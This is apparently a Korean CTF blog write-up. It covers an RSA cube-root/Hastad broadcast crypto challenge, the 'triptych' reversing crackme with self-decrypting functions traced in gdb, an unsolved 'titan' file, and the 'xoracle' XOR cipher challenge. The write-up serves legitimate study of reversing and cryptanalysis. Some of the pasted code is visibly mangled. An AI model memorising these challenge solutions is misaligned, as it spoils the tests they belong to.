세제곱근을 구할때 보통 r = (c **(1.0/3.0)) 과 같이 구한다. 하지만 큰 수 c를 여기에 쓸 경우 이렇게 쓰면 정확하지 않다...

그래서  flag가  666c61677b757000000000000000000000000000000000000000000000 와 flag{up  이렇게 짤려나오는거였다.
문제에서 일부러 저렇게 준게 아니고 python에서 계산을 못해서 짤려나온거다 ㅡㅡ;;

해결법은 gmpy 모듈을 쓰는것이다.

import gmpy를 하면 result, bool = gmpy.root( num, k)를 쓸수가 있는데; 
이게 num를 k제곱근한 값을 result에 저장하고 bool에 성공여부를 0과 1로 저장한다.

이걸 이용해서 위 코드를 다시 짜면...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy
 
c_list = [0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65]
 
 
= 3.00
 
for idx, c in enumerate(c_list):
    c_list[idx], perfect = gmpy.root(c, 3)
    print("%x %d " % (c_list[idx], perfect))
 
 
for c in c_list:
    #c = c**(1.00/e)
    c=format(int(c), 'x')
    print("%s " % (c.decode("hex")))
 
 
cs

이렇게 되고 결과는 아래와 같다.


하... 이렇게 잘나오는걸 삽질을 그렇게 하다니 ㅡㅡ;


다른사람들의 Writeup - 추가
이분들은 그냥 정석대로 Hastad Broadcast Attack을 하셨다. 
암호문이 15개주어졌으니 15개를 3개씩 가능한 모든 조합으로 브루트포싱으로 공격을 시도하면 그 중 계산이 맞아 떨어지는것이 있고, 이것으로 플래그가 구해진다. (물론 나도 가능한 모든 조합으로 공격해보았다. 하지만 실패 ㅡㅡ; 분명 어딘가 실수가 있었겠지...)

이때 사용한 파이썬 모듈이 itertools인데 알아두면 좋을 것 같다. (참고사이트: http://hamait.tistory.com/803)
itertools이 가지고있는 함수들의 목록 및 기능은 여기서 보면 좋다.(https://docs.python.org/2/library/itertools.html)

Iterator

Arguments

Results

product()

p, q, … [repeat=1]

cartesian product, equivalent to a nested for-loop

permutations()

p[, r]

r-length tuples, all possible orderings, no repeated elements

 





특히 이 permutations()라는 것이 좋다.. 가능한 모든 순열을 구해준다.

Other WriteUP





triptych ● Reversing ● 100 Points


리버싱 문제다!



triptych 라는 파일을 하나 준다. 일단 hxd로 열어보았다.



.ELF 파일이다. 먼저 IDA로 까보자.


함수들이 여러개 보인다.


중요할거 같은 함수로는 main, the_first, the_third가 중요해보인다. 하나하나 살펴보자.



main이다. *MK_FP(__FS__, 40LL)은 뭔지 잘 모르겠으나, 마지막에 가서 원래값과 xor하여 변조됫는지 확인하는 것을 보니 canary 같은 것같다.


코드의 내용으로는 fgets으로 사용자로부터 25만큼 버퍼를 읽어들이고, mprotect를 이용해 0x400000부터 0x401000까지 권한을 rwx(7)로 설정해준다.

0x400000~0x401000은 main과 the_fisrt~the_third의 영역이고... 이 영역에 rwx권한을 모두 주는 것을 보니, 이 영역에 무엇을 할 것인가보다.


그리고 마지막으로 the_first에 사용자로 받은 입력값을 인자로 넣어준다. 이제 the first를 한번 보자.




the_first이다. v3~v7까지의 값을 문자값으로 바꿔보면 이상한 문자열이 나온다. 아마 String값이거나 배열이 저렇게 나온거같다.

C언어라면 원래 이렇게 표현됬을 것 같다. char arr[]="~~문자열~~";


다음으로 for문을 실행해 245만큼 반복하는데, 안의 연산이 좀 이상하다.


&the_second의 주소에 1씩더하면서 그 주소에 있는 값을 위에 있는 배열의 값과 XOR연산해 저장한다.

이렇게하면 the_second 함수에 적힌 명령들이 바뀌게 될것이다.


그럼 한번 the_second함수를 보자.



the_second함수를 보려했으나... 제대로 x-ray되지않는다... C언어로 보고싶엇으나 저렇게 표시되고


명령도 이상하게 보이는걸 보니; the_first의 for문 수행이 the_second의 값을 바꾸어 실행가능하게 해주는 것 같다.

일단 더이상 해석할게 없으니 the_third로 넘어가겠다.


the_third의 값은 또 잘 보인다. 하지만 내용이 제대로 파악이 안된다.


the_second의 내용을 알기위해 gdb로 실행해보겠다.



gdb로 disass해서보니... 엉망인것을 알 수잇다. 

역시 for문을 수행하고 나서 정리되는 것 같다.



그래서 the_second함수를 콜하기전에 break를 걸고 disass 해보았다.



값이 제대로 보인다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
(gdb) disass the_second 
Dump of assembler code for function the_second:
   0x00000000004008fd <+0>:    push   rbp
   0x00000000004008fe <+1>:    mov    rbp,rsp
   0x0000000000400901 <+4>:    sub    rsp,0x60
   0x0000000000400905 <+8>:    mov    QWORD PTR [rbp-0x58],rdi
   0x0000000000400909 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400912 <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400916 <+25>:    xor    eax,eax
   0x0000000000400918 <+27>:    movabs rax,0x736a647361686868
   0x0000000000400922 <+37>:    mov    QWORD PTR [rbp-0x40],rax
   0x0000000000400926 <+41>:    movabs rax,0x6873696f6a636f6a
   0x0000000000400930 <+51>:    mov    QWORD PTR [rbp-0x38],rax
   0x0000000000400934 <+55>:    movabs rax,0x6a7662206b777661
   0x000000000040093e <+65>:    mov    QWORD PTR [rbp-0x30],rax
   0x0000000000400942 <+69>:    movabs rax,0x76626b647361626b
   0x000000000040094c <+79>:    mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400950 <+83>:    movabs rax,0x7c7c276638393233
   0x000000000040095a <+93>:    mov    QWORD PTR [rbp-0x20],rax
   0x000000000040095e <+97>:    mov    WORD PTR [rbp-0x18],0x3b3e
   0x0000000000400964 <+103>:    mov    QWORD PTR [rbp-0x48],0x400807
   0x000000000040096c <+111>:    mov    DWORD PTR [rbp-0x4c],0xf5
   0x0000000000400973 <+118>:    mov    DWORD PTR [rbp-0x50],0x0
   0x000000000040097a <+125>:    jmp    0x4009c8 <the_second+203>
   0x000000000040097c <+127>:    mov    eax,DWORD PTR [rbp-0x50]
   0x000000000040097f <+130>:    movsxd rdx,eax
   0x0000000000400982 <+133>:    mov    rax,QWORD PTR [rbp-0x48]
   0x0000000000400986 <+137>:    lea    rsi,[rdx+rax*1]
   0x000000000040098a <+141>:    mov    eax,DWORD PTR [rbp-0x50]
   0x000000000040098d <+144>:    movsxd rdx,eax
   0x0000000000400990 <+147>:    mov    rax,QWORD PTR [rbp-0x48]
   0x0000000000400994 <+151>:    add    rax,rdx
   0x0000000000400997 <+154>:    movzx  edi,BYTE PTR [rax]
   0x000000000040099a <+157>:    mov    ecx,DWORD PTR [rbp-0x50]
   0x000000000040099d <+160>:    mov    edx,0x30c30c31
   0x00000000004009a2 <+165>:    mov    eax,ecx
   0x00000000004009a4 <+167>:    imul   edx
   0x00000000004009a6 <+169>:    sar    edx,0x3
   0x00000000004009a9 <+172>:    mov    eax,ecx
   0x00000000004009ab <+174>:    sar    eax,0x1f
   0x00000000004009ae <+177>:    sub    edx,eax
   0x00000000004009b0 <+179>:    mov    eax,edx
   0x00000000004009b2 <+181>:    imul   eax,eax,0x2a
   0x00000000004009b5 <+184>:    sub    ecx,eax
   0x00000000004009b7 <+186>:    mov    eax,ecx
   0x00000000004009b9 <+188>:    cdqe   
   0x00000000004009bb <+190>:    movzx  eax,BYTE PTR [rbp+rax*1-0x40]
   0x00000000004009c0 <+195>:    xor    eax,edi
   0x00000000004009c2 <+197>:    mov    BYTE PTR [rsi],al
   0x00000000004009c4 <+199>:    add    DWORD PTR [rbp-0x50],0x1
   0x00000000004009c8 <+203>:    mov    eax,DWORD PTR [rbp-0x50]
   0x00000000004009cb <+206>:    cmp    eax,DWORD PTR [rbp-0x4c]
   0x00000000004009ce <+209>:    jl     0x40097c <the_second+127>
   0x00000000004009d0 <+211>:    mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009d4 <+215>:    mov    rdi,rax
   0x00000000004009d7 <+218>:    call   0x400807 <the_third>
   0x00000000004009dc <+223>:    nop
   0x00000000004009dd <+224>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004009e1 <+228>:    xor    rax,QWORD PTR fs:0x28
   0x00000000004009ea <+237>:    je     0x4009f1 <the_second+244>
   0x00000000004009ec <+239>:    call   0x400550 <__stack_chk_fail@plt>
   0x00000000004009f1 <+244>:    leave  
   0x00000000004009f2 <+245>:    ret    
End of assembler dump.
 
cs


보아하니... the_third의 주소에도 the_second에 수행하는것과 비슷하게 수행하는 것같다.


the_third호출전에 break를 걸고 the_third를 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
(gdb) disass the_third 
Dump of assembler code for function the_third:
   0x0000000000400807 <+0>:    push   rbp
   0x0000000000400808 <+1>:    mov    rbp,rsp
   0x000000000040080b <+4>:    sub    rsp,0x60
   0x000000000040080f <+8>:    mov    QWORD PTR [rbp-0x58],rdi
   0x0000000000400813 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000040081c <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400820 <+25>:    xor    eax,eax
   0x0000000000400822 <+27>:    movabs rax,0x265e245e24736c61
   0x000000000040082c <+37>:    mov    QWORD PTR [rbp-0x40],rax
   0x0000000000400830 <+41>:    movabs rax,0x69766467736b6720
   0x000000000040083a <+51>:    mov    QWORD PTR [rbp-0x38],rax
   0x000000000040083e <+55>:    movabs rax,0x3332666972326967
   0x0000000000400848 <+65>:    mov    QWORD PTR [rbp-0x30],rax
   0x000000000040084c <+69>:    movabs rax,0x6b676b647320282a
   0x0000000000400856 <+79>:    mov    QWORD PTR [rbp-0x28],rax
   0x000000000040085a <+83>:    movabs rax,0x7a6f70607e202173
   0x0000000000400864 <+93>:    mov    QWORD PTR [rbp-0x20],rax
   0x0000000000400868 <+97>:    mov    WORD PTR [rbp-0x18],0x6961
   0x000000000040086e <+103>:    mov    QWORD PTR [rbp-0x48],0x4006a6
   0x0000000000400876 <+111>:    mov    DWORD PTR [rbp-0x4c],0x160
   0x000000000040087d <+118>:    mov    DWORD PTR [rbp-0x50],0x0
   0x0000000000400884 <+125>:    jmp    0x4008d2 <the_third+203>
   0x0000000000400886 <+127>:    mov    eax,DWORD PTR [rbp-0x50]
   0x0000000000400889 <+130>:    movsxd rdx,eax
   0x000000000040088c <+133>:    mov    rax,QWORD PTR [rbp-0x48]
   0x0000000000400890 <+137>:    lea    rsi,[rdx+rax*1]
   0x0000000000400894 <+141>:    mov    eax,DWORD PTR [rbp-0x50]
   0x0000000000400897 <+144>:    movsxd rdx,eax
   0x000000000040089a <+147>:    mov    rax,QWORD PTR [rbp-0x48]
   0x000000000040089e <+151>:    add    rax,rdx
   0x00000000004008a1 <+154>:    movzx  edi,BYTE PTR [rax]
   0x00000000004008a4 <+157>:    mov    ecx,DWORD PTR [rbp-0x50]
   0x00000000004008a7 <+160>:    mov    edx,0x30c30c31
   0x00000000004008ac <+165>:    mov    eax,ecx
   0x00000000004008ae <+167>:    imul   edx
   0x00000000004008b0 <+169>:    sar    edx,0x3
   0x00000000004008b3 <+172>:    mov    eax,ecx
   0x00000000004008b5 <+174>:    sar    eax,0x1f
   0x00000000004008b8 <+177>:    sub    edx,eax
   0x00000000004008ba <+179>:    mov    eax,edx
   0x00000000004008bc <+181>:    imul   eax,eax,0x2a
   0x00000000004008bf <+184>:    sub    ecx,eax
   0x00000000004008c1 <+186>:    mov    eax,ecx
   0x00000000004008c3 <+188>:    cdqe   
   0x00000000004008c5 <+190>:    movzx  eax,BYTE PTR [rbp+rax*1-0x40]
   0x00000000004008ca <+195>:    xor    eax,edi
   0x00000000004008cc <+197>:    mov    BYTE PTR [rsi],al
   0x00000000004008ce <+199>:    add    DWORD PTR [rbp-0x50],0x1
   0x00000000004008d2 <+203>:    mov    eax,DWORD PTR [rbp-0x50]
   0x00000000004008d5 <+206>:    cmp    eax,DWORD PTR [rbp-0x4c]
   0x00000000004008d8 <+209>:    jl     0x400886 <the_third+127>
   0x00000000004008da <+211>:    mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004008de <+215>:    mov    rdi,rax
   0x00000000004008e1 <+218>:    call   0x4006a6 <validate>
   0x00000000004008e6 <+223>:    nop
   0x00000000004008e7 <+224>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008eb <+228>:    xor    rax,QWORD PTR fs:0x28
   0x00000000004008f4 <+237>:    je     0x4008fb <the_third+244>
   0x00000000004008f6 <+239>:    call   0x400550 <__stack_chk_fail@plt>
   0x00000000004008fb <+244>:    leave  
   0x00000000004008fc <+245>:    ret    
 
cs

역시나... 제대로 출력되었다. 이제 분석해보자.... 라고 생각햇으나 the_third역시 앞서 함수들과 마찬가지로 이번에는 validate함수를 xor해준다.

또 브레이크걸고 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
(gdb) disass validate
Dump of assembler code for function validate:
   0x00000000004006a6 <+0>:    push   rbp
   0x00000000004006a7 <+1>:    mov    rbp,rsp
   0x00000000004006aa <+4>:    sub    rsp,0x70
   0x00000000004006ae <+8>:    mov    QWORD PTR [rbp-0x68],rdi
   0x00000000004006b2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004006bb <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bf <+25>:    xor    eax,eax
   0x00000000004006c1 <+27>:    movabs rax,0x797472657771275f
   0x00000000004006cb <+37>:    mov    QWORD PTR [rbp-0x30],rax
   0x00000000004006cf <+41>:    movabs rax,0x73617d7b706f6975
   0x00000000004006d9 <+51>:    mov    QWORD PTR [rbp-0x28],rax
   0x00000000004006dd <+55>:    movabs rax,0x7a6c6b6a68676664
   0x00000000004006e7 <+65>:    mov    QWORD PTR [rbp-0x20],rax
   0x00000000004006eb <+69>:    movabs rax,0x7c6d6e62766378
   0x00000000004006f5 <+79>:    mov    QWORD PTR [rbp-0x18],rax
   0x00000000004006f9 <+83>:    mov    DWORD PTR [rbp-0x5c],0x0
   0x0000000000400700 <+90>:    jmp    0x400777 <validate+209>
   0x0000000000400702 <+92>:    mov    eax,DWORD PTR [rbp-0x5c]
   0x0000000000400705 <+95>:    movsxd rdx,eax
   0x0000000000400708 <+98>:    mov    rax,QWORD PTR [rbp-0x68]
   0x000000000040070c <+102>:    add    rax,rdx
   0x000000000040070f <+105>:    movzx  eax,BYTE PTR [rax]
   0x0000000000400712 <+108>:    cmp    al,0x5e
   0x0000000000400714 <+110>:    jle    0x40072a <validate+132>
   0x0000000000400716 <+112>:    mov    eax,DWORD PTR [rbp-0x5c]
   0x0000000000400719 <+115>:    movsxd rdx,eax
   0x000000000040071c <+118>:    mov    rax,QWORD PTR [rbp-0x68]
---Type <return> to continue, or q <return> to quit---
   0x0000000000400720 <+122>:    add    rax,rdx
   0x0000000000400723 <+125>:    movzx  eax,BYTE PTR [rax]
   0x0000000000400726 <+128>:    cmp    al,0x7d
   0x0000000000400728 <+130>:    jle    0x400734 <validate+142>
   0x000000000040072a <+132>:    mov    edi,0x0
   0x000000000040072f <+137>:    call   0x400590 <exit@plt>
   0x0000000000400734 <+142>:    mov    DWORD PTR [rbp-0x58],0x0
   0x000000000040073b <+149>:    jmp    0x40076d <validate+199>
   0x000000000040073d <+151>:    mov    eax,DWORD PTR [rbp-0x58]
   0x0000000000400740 <+154>:    movsxd rdx,eax
   0x0000000000400743 <+157>:    mov    rax,QWORD PTR [rbp-0x68]
   0x0000000000400747 <+161>:    add    rdx,rax
   0x000000000040074a <+164>:    mov    eax,DWORD PTR [rbp-0x58]
   0x000000000040074d <+167>:    movsxd rcx,eax
   0x0000000000400750 <+170>:    mov    rax,QWORD PTR [rbp-0x68]
   0x0000000000400754 <+174>:    add    rax,rcx
   0x0000000000400757 <+177>:    movzx  eax,BYTE PTR [rax]
   0x000000000040075a <+180>:    movsx  eax,al
   0x000000000040075d <+183>:    sub    eax,0x5f
   0x0000000000400760 <+186>:    cdqe   
   0x0000000000400762 <+188>:    movzx  eax,BYTE PTR [rbp+rax*1-0x30]
   0x0000000000400767 <+193>:    mov    BYTE PTR [rdx],al
   0x0000000000400769 <+195>:    add    DWORD PTR [rbp-0x58],0x1
   0x000000000040076d <+199>:    cmp    DWORD PTR [rbp-0x58],0x17
   0x0000000000400771 <+203>:    jle    0x40073d <validate+151>
   0x0000000000400773 <+205>:    add    DWORD PTR [rbp-0x5c],0x1
   0x0000000000400777 <+209>:    cmp    DWORD PTR [rbp-0x5c],0x2
   0x000000000040077b <+213>:    jle    0x400702 <validate+92>
---Type <return> to continue, or q <return> to quit---
   0x000000000040077d <+215>:    movabs rax,0x7b646e6a7d756d7a
   0x0000000000400787 <+225>:    mov    QWORD PTR [rbp-0x50],rax
   0x000000000040078b <+229>:    movabs rax,0x7b6f646e5f667b6f
   0x0000000000400795 <+239>:    mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400799 <+243>:    movabs rax,0x61677b5f7a685f7b
   0x00000000004007a3 <+253>:    mov    QWORD PTR [rbp-0x40],rax
   0x00000000004007a7 <+257>:    mov    BYTE PTR [rbp-0x38],0x0
   0x00000000004007ab <+261>:    mov    DWORD PTR [rbp-0x54],0x0
   0x00000000004007b2 <+268>:    jmp    0x4007e0 <validate+314>
   0x00000000004007b4 <+270>:    mov    eax,DWORD PTR [rbp-0x54]
   0x00000000004007b7 <+273>:    movsxd rdx,eax
   0x00000000004007ba <+276>:    mov    rax,QWORD PTR [rbp-0x68]
   0x00000000004007be <+280>:    add    rax,rdx
   0x00000000004007c1 <+283>:    movzx  edx,BYTE PTR [rax]
   0x00000000004007c4 <+286>:    mov    eax,DWORD PTR [rbp-0x54]
   0x00000000004007c7 <+289>:    cdqe   
   0x00000000004007c9 <+291>:    movzx  eax,BYTE PTR [rbp+rax*1-0x50]
   0x00000000004007ce <+296>:    cmp    dl,al
   0x00000000004007d0 <+298>:    je     0x4007dc <validate+310>
   0x00000000004007d2 <+300>:    mov    edi,0x0
   0x00000000004007d7 <+305>:    call   0x400590 <exit@plt>
   0x00000000004007dc <+310>:    add    DWORD PTR [rbp-0x54],0x1
   0x00000000004007e0 <+314>:    cmp    DWORD PTR [rbp-0x54],0x18
   0x00000000004007e4 <+318>:    jle    0x4007b4 <validate+270>
   0x00000000004007e6 <+320>:    mov    edi,0x400be4
   0x00000000004007eb <+325>:    call   0x400540 <puts@plt>
   0x00000000004007f0 <+330>:    nop
   0x00000000004007f1 <+331>:    mov    rax,QWORD PTR [rbp-0x8]
---Type <return> to continue, or q <return> to quit---
   0x00000000004007f5 <+335>:    xor    rax,QWORD PTR fs:0x28
   0x00000000004007fe <+344>:    je     0x400805 <validate+351>
   0x0000000000400800 <+346>:    call   0x400550 <__stack_chk_fail@plt>
   0x0000000000400805 <+351>:    leave  
   0x0000000000400806 <+352>:    ret    
End of assembler dump.
 
cs

이거다.. 이제 이걸 해석하면 된다.

참고 어셈블리어

10. 64-Bit Mode Instructions (64비트 모드 명령)

다음 명령은 64비트 모드에서 소개된 명령이다. 이 모드는 IA-32e 모드의 서브 모드이다.


CDQE - Convert doubleword to quadword

CMPSQ - Compare string operands

CMPXCHG16B - Compare RDX:RAX with m128

LODSQ - Load qword at address (R)SI into RAX

MOVSQ - Move qword from address (R)SI to (R)DI

MOVZX (64-bits) - Move doubleword to quadword, zero-extension

STOSQ - Store RAX at address RDI

SWAPGS - Exchanges current GS base register value with value in MSR address C0000102H

SYSCALL - Fast call to privilege level 0 system procedures

SYSRET - Return from fast system call


굿


C코드로 바꿔보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
 
int validate(char* s)
{
    char str[]="_\'qwertyuiop{}asdfghjklzxcvbnm|";
    char str2[]="zmu}jnd{o{f_ndo{{_hz_{ga";
    int i,j;
    
    for(i=0; i<=2; i++)
    {
        if(s[i]<=94 || s[i]>125// 
            exit(0);
        for(j=0; j<=23; j++)
        {
            s[j]=str[s[j]-95];
        }
    }
    
    for(i=0; i<=24; i++)
    {
        if(s[i] != str2[i])
            exit(0);
    }
    
    printf("haha nice!");
}
cs


분석은 알아서 하시게... 이제 풀면된다. 참 긴 여정이였다.


이제 역으로 돌려서 무엇을 넣어야 haha nice! 가 출력되는 지 알아보자...


쉽게하기위해 str2를 역으로 돌리는 코드를 짜보겟다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <string.h>
 
int main()
{
    char str[]="_\'qwertyuiop{}asdfghjklzxcvbnm|";
    char str2[]="zmu}jnd{o{f_ndo{{_hz_{ga";
    int i,j,cnt;
    
    for(cnt=0; cnt<3; cnt++){
        for(i=0; i<strlen(str2); i++)
        {
            for(j=0; j<strlen(str); j++){
                if(str2[i]==str[j]){
                    str2[i]=j+95;
                    break;
                }
            }
        }
    }
    
    printf("%s\n",str2);
    return 0;    
}
 
cs



후... 굿굿!



Other WriteUP




titan ● Reversing ● 200 Points



HxD로 열어본 모습


Bin > ASC로 바꾸어본것.. 하지만 아무런 성과가 없다.



참고한 사이트 : https://www.hpcalc.org/hp48/docs/faq/48faq-6.html



 

Kermit의 일부 버전은 ASCII 파일과 이진 파일을 구별하기 때문에 연결의 양쪽 끝 (HP48 SX 끝과 컴퓨터 끝)에서 전송 모드에 대해 걱정해야합니다. 예를 들어, ASCII 파일을받을 때 Unix Kermit은 CR / LF 쌍을 LF로 변환해야합니다. HP48 SX가 이진 파일을 전송하지만 Unix Kermit이 ASCII를 예상하면 이진 파일의 모든 CR / LF 쌍이 LF로 변환되어 이진 파일이 손상됩니다. 불행히도, 당신은 단순히 전송을 되돌리고 Kermit이 LF를 CR / LF로 번역 할 것을 기대함으로써 손상된 이진 파일을 "uncorrupt"할 수 없습니다. 이것은 바이너리 파일이 원래 CR / LF 시퀀스의 일부가 아닌 LF의 발생을 포함 할 수 있기 때문입니다.

이진 파일이 손상되면 스택에 문자 "HPHP48-"로 시작하여 문자열로 표시되고 잔뜩 쓰레기가 계속됩니다. 






열심히 썻는데 다 날라갔네;; 하;;.... 이것도 5~6시간썻는데 결국 못품


나중에 writeup봐야겠다.



xoracle ● Crypto ● 250 Points


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from random import randint
from base64 import b64encode
 
def xor(data, key):
    out = b''
    for n in range(len(data)):
        out += bytes([data[n] ^ key[n % len(key)]])
    return out
 
def randkey():
    key = b''
    for n in range(randint(128255)):
        key += bytes([randint(0255)])
    return key
 
if __name__ == "__main__":
    with open('flag''rb') as f:
        data = f.read()
    print(b64encode(xor(data, randkey())).decode("utf-8"))
cs


어케 푸는지 모르겠다ㅏㅏㅏㅏ


나중에 writeup보고 풀어봐야겠다.

꽤나 비슷해보이는 문제를 찾았다. (http://yum3.tistory.com/6)

Base64decode에서 data를 파일로 디코드했다. 

data를 64decode하면 2309바이트가 나온다.

일단 생각한 것을 실행해보겠다.

랜덤한 키의 길이는 128~255로 한정되어있다. 그렇다면 nc를 통해 받은 암호문이 128개정도가 있으면

확률적으로 128개중 2개정도는 암호키값이 다르더라도 키길이는 같을 것이다. 

평문:p가 있다고 할때 키길이가 같은 k1,k2가 있다하면 p⊕k1=c1 , p⊕k2=c2 에서 c1c2=k1k2가 되고

k1,k2는 키길이가 같으므로 키길이만큼 주기가 나타날것이다. 그러므로 k1의 키길이를 알 수 있다.


쉘스크립트를 통해 암호문을 모은다.



꽤 많이 모였다. 이제 저 중에 같은 키길이를 가지는 두 암호문을 찾아보자.


코딩은 알아서 해서... 찾았다. 

1.enc와 44,90,95가 같은 키 길이를 가진다.



1.enc의 키의 길이는 172이다. 이제 키 길이는 알았으니, 비제네르 암호와 동일한 방법으로 공격하면 될 것같다.



aKwtO9ED+Dy09GtEGA5l27YN87s4zm9uPasp76tCwqOCF1HO/G5QwqCQ6Cksq0x76ZZTQi4ACrlUzoeKqQ8a/NnyJLHfXLBqD1XiXMjrtp4Kt62nbbJCcrCZ9Rtf8El4e7fg9k+4BUoUHPyFRT6dPuUmLyryrV3BMUS53+gthXvUE7526VNQ3lyXo8L9Ic0WpEZgtTwaVZ2XfKG6pPT1QrTajtIfz9JrO70Z+fUqIyHbHQDOTnYybo+5mSemHeM7mG5P6rkvDMOXTrWc8Uo5lyzo2hKKnL5YqAmGHngC9wtco5aL6XDycBTeePQguJOTA5S/n/1ZimWyOioODsrBvrDhlid/qxYWg//x+KD5ZUCEbDlqc2GSiGpj2HMog2Q5tfYrJPkvawQeYbP3cK5ui9eedf16fXdQCLPAESq5/31dzzbcrGK9V9oRXufxsf0iXR+BAz14WptnWFAP9zFyjQ3F8a3MJQ+xvD7AiMwhsHHbTcpfC/IkKEVfJ5e84tFTwRJ4cEA9wFhYM+Iu1aofKTTPPabfkvCZhWHLjSMhlp+RIbZSedn7v5ZBjbc6ad7lJB2ioe0i/UrXlqZ0l1Q4e1G9cWkLp+XfF8Aneq3mO0wAgm+0jrzccr62VAHD3xCWkcTQwuSe1qcMgqwJvyp7nK/39KSwDn7B88TDkoHLCWZuiIhqnifp+MK9ToIkzsjLJgj+3YkyzPen8HJdW2fsIyJxleY2Vu0FmXkjtgoRbgM52nlQ1E7MkGf5zNFhZdlmSrtv3w7kKxok22GjK1mj2Ldsmbe3AiYuRawcsY3X60QnUb7NWTJw3aTtzJIapfexiJeHm7aMh2P+iy7pShdFHMQptrA1q7EjhlUL5yX6dYhxnMBHgMY5I9r9yu7YGyx1rw3bLq1qX3PlypK8del4uoWc2R3tK/jHShl+H32+dMeqgfC8Ni6Pr76TWAerTLuzbFlmFUSKgfP+pl6ixPQpAPulHU+czqEXTD+tKcOrvsfbf6FCpj8FWjgF0bi189H1JxwU+4BHGcde6ZLpfADOCjG8WplMA997mt0Qf3NZFjgoeWzUl/QpBpCnJLlkGyEMRUDJkkJ6w0BHQigzBz1DMjmTjEn3WQiv8X/S3d12rX3pmxP4kCxR9ngzM6uql8nx2N9NR6sDUzzDNxfpWNJMND/BcY7caKuX